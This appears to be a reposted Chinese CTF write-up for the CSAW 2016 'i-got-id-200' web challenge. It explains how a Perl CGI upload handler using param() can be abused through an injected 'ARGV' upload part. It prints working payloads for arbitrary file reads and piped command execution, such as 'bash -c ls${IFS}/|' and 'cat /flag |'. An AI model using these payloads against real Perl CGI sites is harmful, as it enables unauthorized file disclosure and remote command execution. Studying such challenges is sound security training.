• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行) ...

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

题目来源:csaw-ctf-2016-quals

题目描述:嗯。。我刚建好了一个网站

进入场景后有3个链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件。

尝试后发现,Files链接可以上传文件并把文件内容打印出来。猜想后台应该用了param()函数。

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。

这里附上网上大佬们猜测的后台代码:

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
} 

fiddler进行抓包,将上传的文件类型及文件内容处复制再粘贴一行,将filename去掉,然后内容填入ARGV

然后盲猜flag文件,读取试试

或者直接先读取file.pl文件,盲猜在/var/www/cgi-bin/file.pl试试

发现确实使用了param()函数,然后我们利用bash来进行读取当前目录下的文件。

payload为

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| 

%20为空格,可换成+号

看了大佬的解释为

通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。

列出了当前目录下的内容,发现flag,直接读取。

当然其实还有一种更简单的方法,参考:https://www.cnblogs.com/zhengna/p/12381759.html

首先查看当前目录下的文件,发现当前目录下没有flag文件。payload为

/cgi-bin/file.pl?ls%20-l%20.%20|

即执行ls -l . |命令

然后查看file.pl的源代码,发现确实使用了param()函数。payload为

/cgi-bin/file.pl?./file.pl

接着继续寻找flag文件,查看根目录,发现flag。payload为

/cgi-bin/file.pl?ls%20-l%20/%20|

最后读取flag即可。payload为

/cgi-bin/file.pl?/flag    #直接读取/flag文件内容
或者
/cgi-bin/file.pl?cat%20/flag%20|            #使用命令读取/flag文件内容

总结:perl文件遇到上传可配合ARGV文件使用造成任意文件读取或者任意命令执行(需要在命令最后添加管道符)

 

参考:https://www.cnblogs.com/-chenxs/p/11953933.html


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
perl选项、特殊变量、一些函数参考手册发布时间:2022-07-22
下一篇:
关于perl中中文乱码的解决办法发布时间:2022-07-22
热门推荐
热门话题
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap